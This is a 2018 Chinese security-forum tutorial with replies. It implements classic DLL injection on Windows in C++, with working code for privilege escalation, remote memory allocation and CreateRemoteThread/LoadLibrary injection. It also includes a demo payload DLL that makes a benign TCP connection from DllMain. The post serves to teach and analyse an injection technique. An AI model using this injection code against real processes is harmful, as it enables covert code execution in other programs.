首页
论坛
专栏
课程

[病毒木马] [原创]常见进程注入的实现及内存dump分析——经典DLL注入

2018-1-14 22:53 6373

[病毒木马] [原创]常见进程注入的实现及内存dump分析——经典DLL注入

2018-1-14 22:53
6373

前言

前段时间,在论坛看到了这篇文章--> [翻译]十种注入技巧:具有通用性的进程注入技巧研究后,想仔细学习进程注入。平时分析会多些,但很少去实现,如果文章中哪里有错误,欢迎指出,以便及时改正。

环境

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

语言:Visual C++

Dropper:注射器的实现

原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。

步骤:

  1. 获取目标进程PID。
  2. 提升Dropper进程权限。
  3. 打开目标进程。
  4. 在目标进程内开辟缓冲区,用来存储DLL的路径。
  5. 找到目标进程中加载的kernel32.dll的句柄,通过该句柄来获取目标进程中kernel32.dll的导出函数LoadLibrary函数的地址。
  6. 通过CreateRemoteThread函数来调用LoadLibrary,使目标进程加载Payload DLL。

实现:

  • 获取目标进程PID。(本来想注入计算器,但是获取计算器的进程ID的时候总是获取一个辅助进程ID,所以就注入记事本了)。
HANDLE GetThePidOfTargetProcess()
{
	//Get the pid of the process which to be injected.
	HWND injectionProcessHwnd = FindWindowA(0, "Untitled - Notepad");
	DWORD dwInjectionProcessID;
	GetWindowThreadProcessId(injectionProcessHwnd, &dwInjectionProcessID);
	cout << "Notepad's pid -> " << dwInjectionProcessID << endl;
	HANDLE injectionProcessHandle = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD, 0, dwInjectionProcessID);//dwInjectionProcessID);
	return injectionProcessHandle;
}
  • 提升权限。
void PrivilegeEscalation()
{

	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tp;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tp.Privileges[0].Luid = luid;
	AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
  • 进行注入。
BOOL DoInjection(char *InjectionDllPath,HANDLE injectionProcessHandle)
{
	DWORD injBufSize = lstrlen((LPCWSTR)InjectionDllPath) + 1;
	LPVOID AllocAddr = VirtualAllocEx(injectionProcessHandle, NULL, injBufSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(injectionProcessHandle, AllocAddr, (void*)InjectionDllPath, injBufSize, NULL);
	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
	HANDLE hRemoteThread;
	if ((hRemoteThread = CreateRemoteThread(injectionProcessHandle, NULL, 0, pfnStartAddr, AllocAddr, 0, NULL)) == NULL)
	{
		ER = GetLastError();
		cout << "Create Remote Thread Failed!" << endl;
		return FALSE;
	}
	else
	{
		cout << "Create Remote Thread Success!" << endl;
		return TRUE;
	}
}

*具体的实现代码在附件中上传也会附上GitHub地址。

Payload:要注入的DLL

在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。
这个DLL和一般的DLL实现方式一样,只不过是需要在DLL加载起来的时候,就要执行一些函数。

实现:

  • 在DllMain中的switch中的DLL_PRPCESS_ATTACH分支下,使用CreateThread函数,对要执行的函数创建进程。
case DLL_PROCESS_ATTACH:
			std::cout << "DLL_PROCESS_ATTACH" << std::endl;
			hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)inj, NULL, 0, &dwThreadId);


  • 要执行的函数如下,为了方便使用如PCHunter类工具进行监控,所以该函数实现了一个发送tcp连接包的功能。
void TryConnect()
{
	WSADATA wsa;
	if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
	{
		return;
	}
	SOCKET m_socket = socket(AF_INET, SOCK_STREAM, 0);
	SOCKADDR_IN SocketSendIn;
	SocketSendIn.sin_family = AF_INET;
	SocketSendIn.sin_addr.S_un.S_addr = inet_addr("114.114.114.114");
	SocketSendIn.sin_port = htons(53);
	connect(m_socket, (SOCKADDR*)&SocketSendIn, sizeof(SOCKADDR));
	closesocket(m_socket);
	WSACleanup();
}

说明:

  • 当DLL第一次被映射到进程的地址空间时,会调用DllMain函数,函数的ul_reason_for_call参数的值为DLL_PROCESS_ATTACH。由于加载后并未有线程创建,所以我们需要手动创建一个线程,线程函数即为我们想要执行的函数。创建线程后,会再次调用DllMain函数,此时 ul_reason_for_call参数的值为DLL_THREAD_ATTACH,只有当DLL处理完这一通知后,系统才允许执行线程函数。

分析

由于这种注入在磁盘中留下了DLL文件,隐蔽性非常不好,所以分析时只需看被注入的进程加载的DLL即可找到被注入的DLL。


GitHub地址:https://github.com/sudoZhange/ProcessInjection

之后分析的进程注入技术都开源到这一个项目上。

最后,如有错误,欢迎指出。



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (11)
MaYil 2018-1-15 09:23
2
0
感谢分享
sudozhange 4 2018-1-15 09:42
3
0
MaYil 感谢分享
niuzuoquan 2018-1-15 10:06
4
0
mark
wwhday 2018-1-17 14:05
5
0
强势围观~~
黑洛 1 2018-4-24 07:20
6
0
我记得哪本书上说的来着,请尽量不要在DllMain中进行创建线程的操作,很容易导致死锁。如果你再加个WaitForSingleObject肯定就死锁了。
sudozhange 4 2018-4-24 09:09
7
0
黑洛 我记得哪本书上说的来着,请尽量不要在DllMain中进行创建线程的操作,很容易导致死锁。如果你再加个WaitForSingleObject肯定就死锁了。
bingo,确实是这样,所以这种算是最简单的注入技术了
丘嗒山 2018-8-29 17:34
8
0
怎么样才能不调用CreateRemoteThread?
sudozhange 4 2018-8-30 09:27
9
0
丘嗒山 怎么样才能不调用CreateRemoteThread?
用其他的方法注入,这种方法已经很旧很旧了,现在基本上都没有使用的了
丘嗒山 2018-8-30 10:19
10
0
sudozhange 用其他的方法注入,这种方法已经很旧很旧了,现在基本上都没有使用的了
大佬,求赐教~~,还有你分析x64 内存的截图,用的是啥调试器?
sudozhange 4 2018-8-30 14:04
11
0
丘嗒山 大佬,求赐教~~,还有你分析x64 内存的截图,用的是啥调试器?
x64,我用的是windbg,虽然不太好用吧(不熟练的结果:
丘嗒山 2018-8-30 16:34
12
0
sudozhange x64,我用的是windbg,虽然不太好用吧(不熟练的结果:
谢谢,我用x64dbg,没问题了!
游客
登录 | 注册 方可回帖
返回